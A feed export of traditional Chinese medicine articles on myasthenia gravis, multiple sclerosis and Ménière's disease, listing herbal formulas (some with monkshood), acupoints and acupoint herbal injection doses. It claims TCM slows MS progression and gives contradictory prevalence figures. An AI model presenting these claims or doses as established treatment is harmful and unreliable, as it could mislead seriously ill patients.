da zao Chinese date
jiu gan cao liquorice root
shang shi gao unprocessed gypsum
fang ji four-stamen stephania root
mu gua papaya

In the prescription, ephedra, ginger, date and liquorice provide pungent and warming properties to warm the middle burner, invigorate the stomach, and relieve the exterior symptoms. Gypsum can clear away interior heat evil. Stephania, papaya, and atractylodes eliminate dampness evil and relieve joint pain.

6. Marrow deficiency and channels bi-syndrome

Therapeutic aim: Nourishes the marrow and smoothes the flow of qi and blood in all meridians.

Prescription: yougui pellet with modification

shu di huang processed rehmannia root
shan yao common yam root
shan zhu yu Asiatic cornelian cherry fruit
gou qi chi Barbary wolfberry fruit
jiu gan cao liquorice root
du zhong eucommia bark
rou gui cassia bark
zhi fu zi prepared common monkshood daughter root
wu she black snake
xing ling pi epimedium herb
cang zhu atractylodes root
gou ji cibot rhizome
sang ji sheng Chinese taxillus herb

In the prescription, monkshood, rehmannia, cassia, cornelian cherry, eucommia, cibot and epimedium invigorate the kidneys and strengthen the tendons and bones. Atractylodes and taxillus eliminate dampness evil and relieve joint pain. Liquorice helps regulate stomach function and benefits vital qi (energy).

 

]]> Myasthenia Gravis http://acuherb.us/myasthenia-gravis/ Fri, 30 Mar 2012 19:41:57 +0000 http://acuherb.us/?p=1454

By Dr. Ken. Wang

Myasthenia gravis is a chronic disorder of neuromuscular junction function that causes muscles to become weak and to tire easily. The specific pattern of muscle involvement is often important to diagnosis. 

The Brain and Nervous System
The central nervous system comprises the brain and spinal cord. Nerves are attached to the spinal cord and branch out to the entire body forming the peripheral nervous system. Nerve impulses can travel along each nerve in one direction only. One type of nerve (motor) carries signals from the brain to the legs, for example, and another (sensory) sends signals back from the legs to the brain.

 

Myasthenia gravis is an autoimmune disease that results in chronic defective transmission of nerve impulses to the muscles. The disease produces weakness and abnormally rapid fatigue of voluntary muscles. Symptoms improve after rest or medication. The disease usually presents between the ages of 10 and 50 years and women are affected more often than men in 200,000. It is an uncommon disease occurring in approximately one in 200,000 people.

Depending on the symptoms it produces, myasthenia gravis is placed in different traditional Chinese medicine (TCM) syndrome categories:

When weakness of the limbs predominates, it is classified as flacciditysyndrome. In TCM, this refers to a syndrome marked by weakness, limited movement and muscular atrophy (wasting) of the limbs, especially the lower limbs and results from lack of nourishment reaching the muscle tissue. This can be caused by consumption of body fluid by lung-heat, an overwhelming effect of dampness-heat evil, or weakness of the liver and kidneys leading to insufficiency of essence and blood.
If the main symptom is drooping of one or both eyelids, the syndrome is classified as ptosis.
In individuals presenting with weakness of the eye muscles and suffering from double vision, the syndrome is classified as vision changes.
Others classifications include drooping head or respiratory collapse and relate to corresponding manifestations of the disease.

Causes

Myasthenia gravis has an overall incidence of about four cases per million. There is no racial or geographic predilection, and the disorder can occur at any age. However, there is an increased incidence in young women, especially in the third decade, and in older men in the seventh decade.

The disease is caused by the autoimmune destruction of the acetylcholine receptors on the post-synaptic membrane of the muscle fiber. Immune complexes are deposited at the post-synaptic membranes causing interference with and later destruction of the acetylcholine receptor. The communication between the nerve impulses and muscle fibers is impaired or lost and muscle weakness results.

Click here to see structure of the Neuromuscular Junction

The process that initiates the immune response is unknown, but the thymus gland appears to be critical for both the autoimmune activation and the maintenance of the activated autoimmune state. Overgrowth of the thymus gland is found in 70 per cent of myasthenic patients below the age of 40 years. In 10 per cent of patients there is a tumor of the thymus gland and the incidence of this increases with age.

There is an association between myasthenia gravis and thyroid disease, rheumatoid disease, pernicious anemia and systemic lupus erythematosus. Myasthenia gravis is sometimes caused by D-penicillamine treatment in rheumatoid disease.

In TCM, myasthenia gravis is considered to be a complex disease. Many organs or systems of the body are involved and progress of the disease varies. Manifestations of the disease do not necessarily follow a prescribed order, but depend on the pathogenic factors involved and the mechanisms affected. The causes can be classified as follows:

Exogenous causes 
Invasion by exogenous pathogens leads to impaired functioning of organs and depletion of blood and vital energy (qi), contributing to the disease. TCM considers that blood belongs to yin-fluid, which is mainly responsible for providing moisture and nourishment to the tissues. The role of qi is to promote and consolidate all body functions. Deficiency in blood and qi result in inadequate supply of these essentials to the muscles, tendons and meridians and flaccidity syndrome results.

Endogenous causes
These can occur when an individual encounters emotional problems or damage by the seven modes of emotions (for example, anger damaging the liver, fear damaging the kidneys or melancholia damaging the spleen). The understanding in TCM is that the liver stores the blood that supports the tendons, and the kidneys store essence for the production of bone marrow. Both blood and essence are part of yin. If an individual’s liver-yin and kidney-yin are depleted, a virtual fire is created internally causing the supply of blood and essence to become exhausted. The tendons and muscles then lose their nutrient supply and become weak and numb.

Non-exogenous/endogenous cause
This is mainly the result of an imbalanced lifestyle and includes the eating of an improper diet (too much greasy or sweet food) or excess consumption of alcohol and leads to spleen and stomach injury. Stress and chronic disease can also result in a decline in qi and body fluid and cause spleen and stomach damage. The spleen and stomach are the primary organs for digestion and absorption; they extract nutritive essence from food and use it for the production of qi, blood and body fluids. If they do not function properly, muscle weakness, drooping eyelids or breathing difficulties can develop.

Congenital factors
Inborn defects, such as weakness of the spleen and stomach, yang-deficiency of the spleen and kidneys or yin-deficiency of the liver and kidneys, can cause failure in different organs and lead to the disease.

Symptoms

Weakness is the defining symptom of myasthenia gravis. Patients may not recognize it as such and complain to their doctor of double vision, difficulty swallowing, slurring of speech, or even a change in gait. Five areas of motor function are commonly affected and involve the muscles that control the following:

the eye
the face, nose and throat
respiration
the torso (pectoral and pelvic muscles), and
the arms and legs.

The symptoms may fluctuate from hour to hour, from day to day, or over longer periods. They are provoked or worsened by exertion, exposure to extremes of temperature, viral or other infections, menses and excitement. 

The symptoms experienced are commonly these: 

 

Eye muscle involvement often results in drooping of the upper eyelid and double vision. It usually affects both eyes and is asymmetrical.
Weakness of other muscles innervated by cranial nerves results in loss of facial expression, everted (pouting) lips, a smile that resembles a snarl, jaw drop, nasal regurgitation of liquids, choking on foods and secretions, and a slurred, nasal speech with a reduced volume.
Depending on the severity of the disease, difficulty breathing can appear on moderate or mild exertion or be present even at rest.
Abnormal tiredness of the limb muscles causes difficulty in combing the hair, lifting objects repeatedly, climbing stairs, walking and running.


Initially, the symptoms affect only the eyes in 40 per cent of patients; are generalized in 40 per cent; involve only the extremities in 10 per cent; and affect only the nose, mouth or throat, or these muscles and the eye muscles in another 10 per cent. Subsequently, the weakness can spread from the eye to the facial, salivary, swallowing and respiratory muscles and then to the torso and limb muscles, but the sequence may vary. Arm and leg muscles are affected more than hands and feet. In the most advanced cases the weakness is general throughout the body.

By the end of the first year, the eye muscles are affected in nearly all patients. The symptoms remain ocular (involving the eye) in only 16 per cent. In nearly 90 per cent of those in whom the disease becomes generalized, this occurs within the first year after the onset. Progression is most rapid within the first three years, and more than half of the deaths caused by myasthenia gravis occur in that period.

Spontaneous remissions lasting from weeks to years can occur. Long remissions are uncommon, and most remissions occur during the first three years.

TCM practitioners will examine a sufferer and categorize symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns are present at different stages of a disorder. In myasthenia gravis, these can be classified into the following types:

Qi-deficiency in the spleen and stomach
Individuals present with drooping eyelids, weakness of the limbs, and difficulty in holding the head up and chewing food. Symptoms are worse towards the end of the day. Others symptoms include poor appetite, diarrhea, a reluctance to speak and shortness of breath.

Yang-deficiency in the spleen and kidneys
This often presents with drooping eyelids, limitation in muscular control of the eye, and limb weakness. Other accompanying symptoms are soreness in the loin region, spontaneous sweating, aversion to cold temperatures, cold limbs, a pale complexion, difficulty in swallowing, poor appetite and diarrhea, and the excretion of large volumes of dilute urine.

Yin-deficiency in the liver and kidneys
The main symptoms include drooping eyelids, difficulty in swallowing and chewing food, and limb weakness. Symptoms worsen towards the end of the day. Other accompanying symptoms are soreness and weakness in the lumbar (lower back) region and knees, dizziness, ringing in the ears, insomnia and nightmares. A feeling of dryness in both eyes and a hot sensation in the chest, palms of the hands and soles of the feet can develop.

Deficiency in both qi and blood
Individuals present with fatigue and weakness, palpitation, shortness of breath, a reluctance to speak, pale complexion, drooping eyelids, difficulty in swallowing and chewing food, muscle wasting and fatigue, and spontaneous sweating. 

Diagnosis

The presence of weakness (usually worse at the end of the day or after vigorous exercise), but without loss of sensation is necessary although not sufficient on its own to make the diagnosis of myasthenia gravis. Diagnosis is based on the clinical history, physical examination and results of specific tests and laboratory studies. 

Tensilon (edrophonium) test
Edrophonium chloride (an anticholinesterase) is given intravenously. If improvement in weakness occurs within seconds and lasts for two to three minutes the test is considered positive. Occasionally the test itself can cause respiratory constriction and fainting and is always carried out in a proper clinical setting.

Serum acetylcholine receptor antibodies
These disease-specific antibodies are present in 90 per cent of cases of generalized myasthenia gravis. The antibodies are found in no other condition.

Nerve stimulation
Stimulation of the motor nerve results in a characteristic decrease in muscle response.

Other tests
Chest X-ray may show a mass (enlarged gland) in the area of the thymus that can be confirmed by computed tomography scanning. Nothing unusual can be detected from peripheral blood samples.

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In myasthenia gravis, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows: 

Qi-deficiency in the spleen and stomach
Impaired functioning of the spleen and stomach causes an insufficiency in qi and blood production. This reduces the supply of nutrients available to the muscles and tendons and results in weakness in muscular contractions. A reluctance to speak and shortness of breath also result from qi and blood insufficiency. Poor appetite and diarrhea are symptoms of spleen weakness.

On examination, the tongue is swollen, pink in color, indented on the margins and coated with a thin, white fur. The pulse is weak and fine.

Yang-deficiency in the spleen and kidneys
Yang-deficiency implies under-functioning of these two organs. This leads to a decline in the storage of essence and muscle weakness results. Kidney-yang deficiency also causes soreness in the loin area, production of copious amounts of dilute urine and an aversion to cold temperatures.

On examination, the tongue is swollen, pink in color and covered with a thin, white fur. The pulse is deep and fine.

Yin-deficiency in the liver and kidneys
Yin-deficiency of these organs leads to essence and blood depletion and results in loss of nourishment and moisture to the body. Body structures, such as the muscles, bones and tendons, become weak. Liver-yin deficiency can also cause insomnia, nightmares and dryness of the eyes. Kidney problems cause dizziness, ringing in the ears, soreness and weakness in the loin area and the knees.

On examination, the tongue is red with a scanty fur covering. The pulse is fine and rapid.

Deficiency in both qi and blood
Deficiency in qi and blood not only affects the supply of nutrients to muscles and tendons, but also leads to general impairment of the whole body. In addition to symptoms of muscle weakness, individuals present with fatigue, palpitation, shortness of breath, pallor and spontaneous sweating.

On examination, the tongue is pale, swollen and indented on the margins. The tongue fur is white and thin. The pulse is deep and fine.

Treatment

There are three therapeutic options in the TCM treatment of myasthenia gravis: the regularization of disharmony patterns, use of Chinese patent medicines and acupuncture therapy.

Therapeutic regimens for disharmony patterns

Qi-deficiency in the spleen and stomach


Therapeutic aim: To Tonify the spleen and benefit the qi

Prescription: Buzhong yiqi decoction (modified)

dang shen pilose asiabell root
huang qi milk-vetch root
bai zhi large head atractylodes root
sheng ma cimicifuga rhizome
chai hu Chinese thorowax root
chen pi dried tangerine peel
dang gui Chinese angelica
sheng jiang fresh ginger
da zao Chinese date
yi yi ren coix seed
fu ling Indian bread

In this prescription, pilose asiabell, milk-vetch and large head atractylodes roots are used to tonify the spleen and benefit the qi. Cimicifuga rhizome and Chinese thorowax root improve the transformation and transportation functions in the spleen. Dried tangerine peel regulates the qi movement; Chinese angelica aids the blood; and fresh ginger and Chinese date improve the communication between the interior and exterior of the body. Coix seed and Indian bread invigorate the spleen and expel dampness evil. Used in combination, these ingredients invigorate the spleen and stomach, increasing production of nutrient essence and relieving symptoms.

Yang-deficiency in the spleen and kidneys

Therapeutic aim: To warm and tonify the spleen and kidneys

Prescription: Yougui bolus (modified)

fu zi monkshood
rou gui cassia bark
lu jiao jiao deerhorn glue
shu di processed rehmannia root
shan yu rou Asiatic cornelian cherry
tu si zi dodder seed
gou qi chi Chinese wolfberry fruit
du zhong eucommia
dang gui Chinese angelica
dang shen pilose asiabell root
huang qi milk-vetch root
shan yao common yam root
bai zhi large head atractylodes root

In this prescription, monkshood, cassia bark and deerhorn glue warm and invigorate the spleen and kidneys. Rehmannia root, Asiatic cornelian cherry, dodder seed, wolfberry and eucommia are used for nourishing the spleen-yin and kidney-yin. Chinese angelica replenishes the blood; and pilose asiabell, milk-vetch, common yam and large head atractylodes roots replenish the qi and tonify the spleen.

 

Yin-deficiency in the liver and kidneys

Therapeutic aim: To nourish and invigorate the liver and kidneys

Prescription: Zuogui bolus (modified)

sheng di fresh rehmannia rhizome
gou qi chi Chinese wolfberry fruit
shan yu rou Asiatic cornelian cherry
lu jiao jiao deerhorn glue
gui jiao tortoise shell glue
tu si zi dodder seed
niu xi achyranthes root
shan yao common yam root

In this prescription, fresh rehmannia rhizome is used in quantity for effective nourishment of the kidney-yin. Wolfberry replenishes the essence and improves visual acuity; and Asiatic cornelian reduces depletion of essence and calms the liver. Deerhorn glue invigorates the yang; and tortoise shell glue nourishes the yin. A combination of these two glues can replenish essence and bone marrow. Dodder seed and achyranthes root reinforce the lumbar (lower back) region and knees, and strengthen the tendons and bones. Common yam root tonifies the spleen and aids the kidneys.

 

Deficiency in both qi and blood

Therapeutic aim: To invigorate and replenish the qi and blood 

Prescription: Bazhen decoction (modified)

ren shen ginseng
fu ling Indian bread
bai zhi large head atractylodes root
gan cao liquorice root
dang shen pilose asiabell root
bai shao white peony root
shu di processed rehmannia root
chuan xiong Szechwan lovage root
sheng jiang fresh ginger
da zao Chinese date

In this prescription, ginseng, Indian bread, large head atractylodes root and liquorice root invigorate the spleen and benefit the qi. Pilose asiabell, white peony and rehmannia roots nourish the heart and blood. Szechwan lovage root improves the blood circulation; when combined with pilose asiabell root and rehmannia root, it increases blood production without causing an increase in viscosity (thickening). Fresh ginger and Chinese date help the ginseng and Indian bread to regulate the spleen and kidneys.

Chinese patent drugs
These drugs are available in small dosages and are readily absorbed on ingestion. They are more convenient to use because they are not bulky to carry about and are therefore more appropriate to a busy lifestyle. Taking a pill or a bolus is often easier for those who do not wish to consume large volumes of liquid or who do not like the bitter taste of decoctions. Examples of patent medicines used in the treatment of myasthenia gravis are:

Qi-deficiency in the spleen and stomach:Buzhong yiqi bolus
Yang-deficiency in the spleen and kidneys:Ginseng yangrong bolus
Yin-deficiency in the liver and kidneys:Liuwei dihuang bolus 
Deficiency in both qi and blood: 
Jinkui shenqi bolus

Acupuncture therapies
Use of acupuncture stimulates the meridians. These connect the internal organs with the limbs and their stimulation results in: 

activation of qi and blood
regulation of yin and yang
strengthening of the tendons and bones, and
lubrication of the joints.

Acupuncture can be used therefore as the main or an adjuvant therapy. 
Treatment is given daily over 10 days; four to five acupoints are selected each time and the needle retained for 20 to 30 minutes.

For drooping eyelids, acupoints are selected on the face: zan-zhu, yang-bai, yu-yao, si-bai and jing-ming.
For limb weakness: he-gu, nei-guan, wai-guan, san-yin-jiao, tai-chong, da-zhui, pi-yu, shen-yu and zu-san-li are used.

Otopuncture therapy 
This therapy is used weekly and applied to each ear alternately. The method involves acupoint embedding of the needle under the skin.

The acupoints used are spleen, kidney, liver and points for endocrine functions. 

 

]]> Multiple Sclerosis http://acuherb.us/multiple-sclerosis/ Wed, 28 Mar 2012 19:09:03 +0000 http://acuherb.us/?p=1450

By Dr.Ken Y. Wang

Multiple Sclerosis (MS) is a neural disorder with an unknown triggering mechanism. This chronic, slowly progressive autoimmune disease is where the body’s immune system attacks the myelin sheaths around nerve cells mainly in the brain and spinal cord (a process called demyelination), resulting in the damaged areas failure to transmit nerve impulses. Because the lesions can partially heal, it goes through characteristic phases of remission and relapse.

Initial symptoms of MS are often vague, such as blurred or double vision, fatigue and muscular weakness. Individuals are usually diagnosed between the ages of 20 and 40, when they present with symptoms like muscular weakness, numbness, incoordination, paralysis, convulsions, visual problems, bladder or bowel disturbances, mood swings, cognitive problems and difficulty in speaking. Symptoms vary greatly from patient to patient since almost every system of the body can be affected.

Chinese Medicine: Multiple sclerosis (MS) is a disorder of the central nervous system (brain and spinal cord), which is characterized by patchy, degenerative changes in the myelin sheaths surrounding nerve cells, resulting in scar formation. It is a common neurological disorder in the northern hemisphere.

This debilitating disease is rare in China, and no specific details have been recorded in TCM history. However, reports about it are on the rise. Due to a great variety in clinical presentations, modern TCM places MS in different syndrome categories and takes the individual’s condition as reference.

When symptoms are marked withmuscular weakness or paralysis syndrome, it is classified as flaccidity syndrome. This is a morbid condition that is mostly due to a lack of nourishment in the muscles.

When individuals present with difficulty in speaking, limb weakness or paralysis, TCM classifies their conditions asaphasia and paralysis syndrome, which is believed to be mainly due to consumption of kidney essence or obstruction of the meridians by wind and phlegm.

When dizziness, vertigo and unsteadiness predominate, TCM classifies it as vertigo syndrome. This usually caused by exogenous evils invasion(especially wind-fire or phlegm-dampness), impairment of qi (vital energy) or blood flow or organ dysfunction (deficiency of heart, spleen or kidney.)

In the late stages that present with limb spasms, delirium or mental deterioration, physicians usually put this condition underepilepsy or dementia syndromes.

While Western medicine has a number of drugs to slow down progress of this disease and reduce the frequency of attacks, there is still no cure for MS. Based on integrated immune modulation effects  to the body, TCM therapies can assist individuals in recovery from attacks, reducing the number of relapses and preventing further progression of the MS.

Causes

TCM knows very little about the cause of multiple sclerosis (MS). However, the typical symptoms of multiple sclerosis such as limb weakness, vertigo, incoordination and even paralysis are mainly attributed to dysfunctions in the lung, liver, spleen and kidney. It is possible that the organs are attacked by exogenous factors like heat, dryness, dampness and wind evils, which give rise to yang-qi failing to ascend upward to nourish the brain. Furthermore, TCM holds that a well organized internal environment ensures the production of marrow (which is chiefly derived from kidney essence and food nutrients). The marrow not only fills the bone, it also makes up the brain and spinal column, and thus TCM calls these structures the “sea of marrow”. Long-term disharmony or emotional stimulation will affect the production of marrow particularly when the kidney is involved, leading to problems in the central nervous system.

Generally, the pathogenesis of MS can be divided into the following aspects:

Deficiencies in the spleen and stomach 
In TCM, one of the major functions of the spleen and stomach are transforming food into nutrient essence that is used to manufacture qi and blood. Under-functioning will lead to malabsorption and indigestion, and dampness or phlegm will accumulate. When dampness or phlegm interferes with the ascending movement of yang-qi to the head region, vertigo occurs. On the other hand, due to the impairment in the transformation of blood and qi, head orifices and the sea of marrow will lose nourishment, leading to the development of speech difficulties or visual problems. When there are inadequate nutrients to bones, muscles and tendons, associated symptoms appear. Improper diet is an important cause of these symptoms.

Invasion of external dampness evil 
This is contracted by living in damp places, sitting on damp grass, failing to dry oneself after swimming, being exposed to damp weather when wearing inadequate clothes or being exposed to foggy weather. The dampness evil tends to invade the meridians in the limbs; they cause obstruction and lead to heaviness, numbness and tingling sensations. When the damp circumstances last for a long time or are repeated, the accumulated dampness evil can turn into internal heat, which will then cause further damage to the organs, and result in various symptoms.

Flaring up in lung heat 
Normally, the lung is responsible for distributing the nutrient essence throughout the body; this distribution function is carried by the lung fluid, which works to nourish the muscles, tendons, bones and vessels and also acts as the material base for normal functioning of the other organs. Acute febrile disease caused by exogenous evils invasion e.g. wind, heat, or coldness, usually damage the lung and lead to lung fluid being consumed and therefore depleted. Sometimes, a heated lung can also be induced by excessive internal heat and dryness evils. Depletion of lung fluid leads to insufficient nourishment in the above mentioned structures and result in related manifestations.

Impairment of the liver and kidney 
In TCM, liver stores blood and rules tendons, and kidney stores essence and rules bones. Having a long-term chronic disease, being sexually active, overstraining oneself, suffering from an emotional disturbance or accumulation of damp-heat evils in the lower burner lead to liver and kidney damage. This leads to a depletion of kidney essence. As a result, there are inadequate supply to the bones, tendons and meridians, leading to the development of multiple sclerosis. 

Symptoms

According to the location of lesions in the brain and spinal column, multiple sclerosis can present in various ways. The neural symptoms include difficulty speaking, blurred vision, double vision, weakness and heaviness of one or both legs, jerking of the legs, numbness or tingling and incoordination. Some individuals may only show vague signs like vertigo, incontinence, urinary urgency or frequency, vomiting, diarrhea and impotence. If the nervous system keeps on degenerating, symptoms will progressively worsen.

TCM practitioners usually begin with a full investigation of the individual and then categorize his or her symptoms under syndrome groups known as “disharmony patterns.” In addition to the symptoms discussed above, TCM practitioners also focus on associated symptoms for syndrome differentiation. The disharmony patterns, which present at different stages of the disease, generally indicate the degree of disharmony of the body and the involved organs as well as the progress of the disease.

Meridian obstruction by phlegm and heat 
After onset of fever, individuals develop sudden limb weakness, numbness or paralysis. Associated symptoms include distended headache, irritability, chest tightness, ear ringing or blurred vision. In some cases, there may be sudden blindness, thirst without the desire to quench it, speaking difficulties, yellow sticky secretions in the throat, and even urinary difficulty.

Damp-heat dissemination 
This leads to a gradual development of limb weakness which is obvious in the lower limbs as well as numbness and a slight puffiness in the limbs. Other symptoms include tightness in the forehead, generalized heaviness, sallow complexion, abdominal distention, depression, decreased vision, diarrhea and yellowish urine.

Blood stasis accumulated in meridian 
This leads to limb weakness with numbness, tingling or contracting pain; other symptoms are dizziness, ear ringing, sallow complexion, muscular atrophy, urinary difficulty or dribbling after voiding, double vision or even blindness.

Deficiencies in lung and spleen 
This leads to slow and progressive development of limb weakness, unsteadiness, tremor and muscular atrophy in the lower limbs. Other associated symptoms include pale complexion, poor appetite, abdominal distention, diarrhea, and aversion to wind; there is also a tendency to catch cold or flu, dizziness, inability to void urine, blurred version or even blindness.

Deficiencies in liver and kidney 
Individuals present with general paralysis, weight loss, unsteadiness, clumsiness, facial distortion, soreness in lumbar and knee regions. Associated symptoms include dizziness, vertigo, blurred version, throat dryness, constipation, ear ringing, fatigue, depression, speaking difficulty, urinary difficulty, as well as hot sensations in the palms, soles and chest.

Depletion of kidney yang 
Individuals present with general paralysis, numbness, muscular atrophy, clumsiness, unsteady steps, blurred version or dropping of upper eyelids, declined hearing, difficulties in swallowing and speaking. Other accompanying symptoms include dizziness, limbs coldness, fatigue and sleepiness, sensitivity to cold temperatures, poor appetite, urinary frequency and diarrhea.

Diagnosis

In TCM, diagnosis is based on the four examination techniques, which stress the determining of the circumstances and manifestations of a disease through inquiry and symptom observation.

Procedures for a TCM diagnosis of multiple sclerosis (MS) can be explained as follows:

Meridian obstruction by phlegm and heat 
This usually occurs in the late stages of a MS relapse. Invasion of heat evils give rise to symptoms like fever, thirst, irritable and urinary difficulty, while phlegm invasion tends to cause obstructions and interfere with the meridian flows. In addition to limb problems, the influence of phlegm is also blamed for chest tightness, distended headache, throat secretions and vision problems. On examination, the tongue is red and covered by yellow or yellow greasy fur. The pulse is rolling and rapid or taut and rolling.

Damp-heat dissemination 
The acute stages of MS usually fit this pattern. Damp-heat is a pathogen mostly contracted from the external environment. Typical symptoms include fever, headache, body aches, generalized heaviness, fatigue, abdominal distention and poor appetite as well as scanty and yellowish urine. On examination, the tongue is red and covered by yellow fur; the pulse is hesitant and rapid.

Blood stasis accumulated in meridians 
Features of blood stasis are characterized by numbness, contracting pain and tingling sensations. On examination, the lips are purple, the tongue is purple-blue or may appear bruised; the pulse is hesitant.

Deficiencies in the lung and spleen 
In TCM, the spleen is the source of nutrients while the lungs play an important role in the distribution of nutrients. Dysfunction of the two organs not only affects the supply of nutrients to muscles and tendons, but also leads to general impairment of the whole body. Symptoms include weakness, as well as low resistance against infection, dizziness and a sallow complexion. On examination, the tongue is pale and covered by thin white fur. The pulse is fine and weak.

Deficiencies in the kidneys and liver 
The kidney stores essence while the liver stores blood. Disorder in these organs therefore lead to inadequate nourishment in important structures like the brain, orifices and limbs lead to symptoms such as dizziness, ear ringing, speaking difficulty, numbness and soreness. Yin deficiency in this case leads to yang hyperactivity creating virtual heat symptoms. On examination, the tongue is red with little fur covered the pulse is fine and rapid.

Depletion in kidney yang 
This pattern usually results from enduring yin deficiency; kidney yang has the effect of propelling transformation and warming the organs. It acts as the root of the body’s physiological functions. As a result, all physiological activities decline, leading to coldness and inhibitory symptoms. On examination, the tongue is swollen and pale, and is covered by white thin fur. The pulse is deep and fine.

It should be emphasized that individuals usually present with different manifestations of their illness and not as described above. Therefore, an experienced physician is needed to ensure an accurate diagnosis.

Treatment

TCM’s experience with multiple sclerosis (MS) indicate that therapeutic strategies for individuals undergoing a MS relapse or those who are newly diagnosed, should focus on releasing the body surface, expelling wind, clearing heat, resolving phlegm, activating blood and unblocking the meridians. In the late stages or the remission period, strategies should focus on fortifying the kidney, replenishing essence, soothing the liver, nourishing the blood, supplement qi (vital energy) and reinforcing spleen. Nevertheless, it is recommended that treatment be based on syndrome differentiation.

Meridian obstructions by phlegm and heat 
Therapeutic aim: Clear heat, resolve phlegm, smooth and unblock meridians 
Sample prescription: Cleansing Phlegm Decoction (Di Tan Tang)

In the prescription, pinella and arisaema are the main ingredients for cleansing the phlegm. The others work together to clear heat, replenish qi and enhance spleen, so that meridian flows are smoothed, and orifices in the head region can be unblocked. Symptoms like dizziness, speaking difficulty, numbness and weakness in the limbs can be relieved.

Damp-heat dissemination 
Therapeutic aim: Clear heat, resolve dampness and strengthen joints 
Sample prescription: Modified Two Wonders Powder (Jia Wei Er Miao San)

In the prescription, coix seeds, atractylodes rhizome and Corktree bark are the main ingredients for clearing damp-heat. The others activate blood flow, strengthen tendons and bones. As a result, problems in the limbs can be relieved.

Blood stasis accumulated in meridians 
Therapeutic aim: Replenish qi and blood, and activate circulation. 
Sample prescription: Sacred Healing Decoction (Sheng Yu Tang)

All the above ingredients are used for enriching the qi and blood as well as promoting their circulations. As a result, signs such as weakness or abnormal feelings caused by stagnated condition can be resolved.

Deficiencies in the lung and spleen 
Therapeutic aim: Consolidate qi, invigorate the spleen and stomach. 
Sample prescription: Power of Gingeng, Poria and Atractylodes (Seng Ling Bai Shu San)

In the prescription, ginseng, atractylodes and poria are the main ingredients for invigorating the spleen and replenishing qi. Hyacinth bean, lotus seeds, coix seeds and yam can expel the accumulated dampness effectively; together with cardamom seeds, balloonflower and liquorice, the qi flow can be consolidated. As a result, both of the spleen and lung are fortified.

Deficiencies in the kidneys and liver
Therapeutic aim: Invigorate liver and kidney, nourish yin to clear heat. 
Sample prescription:Modified Zuogui Drink

In the prescription, the cornus fruits, dodder seeds, achyranthes and tortoise shell tonify and nourish liver and kidney; the deerhorn replenishes essence and promotes marrow production; the anemarrhena rhizome and corktree bark nourish yin and clear virtual heat.

Depletion in kidney yang 
Therapeutic aim: Warm and invigorate the kidneys, replenish essence and marrow. 
Sample prescription:Modified Erxian Decoction plus Yougui Drink

In the prescription, the  epimedium, eye-grass rhizome, morinda and monkshood can warm kidney and replenish essence; the rehmannia rhizome, cornus fruits and eucommia bark nourish yin and tonify the kidneys which will benefit kidney yang; Chinese angelica nourishes blood; deerhorn glue replenishes essence and marrow.

Acupuncture therapies for multiple sclerosis

During the remission period, the recovery process in MS individuals may take months or even years. Acupuncture not only eases the suffering of patients, it can also stimulate the overall modulation system and speed up the healing process.

Physicians usually focus on the head region during treatment, such as bai-hui, qu-bin, shuai-gu, feng-chi and yu-zhen. They choose one side for stimulation and then carry out the procedure on the opposite side. Needles should be retained for 30 minutes each time, and the procedure should be carried out once a day. After 10 days, there should be a 3-day rest period and then another cycle should take place. Below are the selected acupoints for relief of symptoms:

 

Acupoint injection

Paralysis in the upper limbs: jian-yu, qu-chi, wai-guan, he-gu, shou-san-li; 
Paralysis in the lower limbs: huan-tiao, bi-guan, feng-shi, zu-san-li, yang-ling-quan, san-yin-jiao, xuan-zhong, kun-lun, mai-bu; 
Speaking difficulties: lian-quan, he-gu, tong-li, ya-men; 
Dysphagia: tian-tu, lian-quan, fu-tu, feng-chi, he-gu; 
Urinary retention or incontinence: guan-yuan, qi-hai, zhong-ji, shen-shu; 
Constipation: zu-san-li, yang-ling-quan, tian-shu, da-chang-shu, zhong-wan; 
Blurred vision: jing-ming, tai-yang, guang-ming; 
Facial distortion: yi-feng, xia-guan, di-cang joined jia-ju.

Herbal infusions can be injected at selected points so as to exert stimulating and pharmaceutical effects. Selection of these points are based on the particular manifestations of MS; however the acupoints are usually in the lower limbs, such as fu-tu, bi-guan, zu-san-li, cheng-shan, yang-ling-quan and yin-ling-quan. Some of the herbal injections include Chinese angelica, red sage root and safflower flower. Every two days, 0.5-1.0 ml of diluted herbal infusion should be injected at 2-3 selected points, 5-7 injections for one cycle.

 

Physical therapies

Individuals will remain unsteady and clumsy in their movements or suffer from paralysis to a certain extent when they enter the remission period, therefore, proper physical exercise helps to improve muscular strength, prevent atrophy and stiffness or relieve the muscle spasm. It would be beneficial to choose some traditional self-practice exercises. TCM massage is another alternative, which has some set procedures, for example:

Upper limb weakness: grasp the tendons in the shoulder region, twist and knead the lateral side of the arm, and then strike on acupoints like jian-yu, he-guand qu-chi.

Lower limb weakness: grasp the medial aspect of the upper thigh, calf of the lower leg and heel tendon, twist and kneed around the upper tight, and then strike on acupoints like yang-guan,huan-tiao, jie-xi and du-bi.

Hydrotherapy

Hydrotherapy is the use of water to treat disease, alleviate pain, induce relaxation, and maintain general good health. For therapeutic purposes, the water may be warm or cold, or in the form of ice or steam. This method is used to relax muscles and joints, soothe anxiety, relieve stress, and enhance mobility. It can be achieved through swimming, underwater exercise, or warm baths in a darkened room that helps individuals to focus on breathing exercises and other pain-control methods. Herbal washing or bathing are combined in some centers.

 

]]> Ménière’s Disease http://acuherb.us/menieres-disease/ Wed, 28 Mar 2012 18:58:12 +0000 http://acuherb.us/?p=1446

By Dr. Ken. Y. Wang

 
Picture of ear anatomy
Eardrum, malleus, incus and stapes are hearing organs.
Semicircular canal (labyrinth), vestibular nerve and cochlea are balancing organs.
(Stedmans’s Medical Dictionary 27th edition copyright 1999)


Ménière’s disease is a disease of the inner ear. Build-up of fluid in the inner ear creates excess pressure and causes damage to the sense organs that are responsible for balance and hearing. A patient with Ménière’s disease typically presents with varying levels of hearing loss, a sense of fullness in the ears, tinnitus and episodes of vertigo.

